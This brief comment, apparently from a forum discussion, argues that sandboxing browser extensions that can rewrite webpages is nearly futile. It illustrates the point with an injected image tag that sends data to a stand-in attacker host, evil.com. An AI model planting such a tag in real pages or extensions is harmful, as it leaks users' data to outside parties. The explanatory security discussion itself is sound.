Most extensions need the ability to modify webpages. With that ability, they can easily exfiltrate data by for example adding a <img src=evil.com/?data=82374682376>.
Trying to sandbox an extension that can modify arbitrary webpages in arbitrary ways is near futile.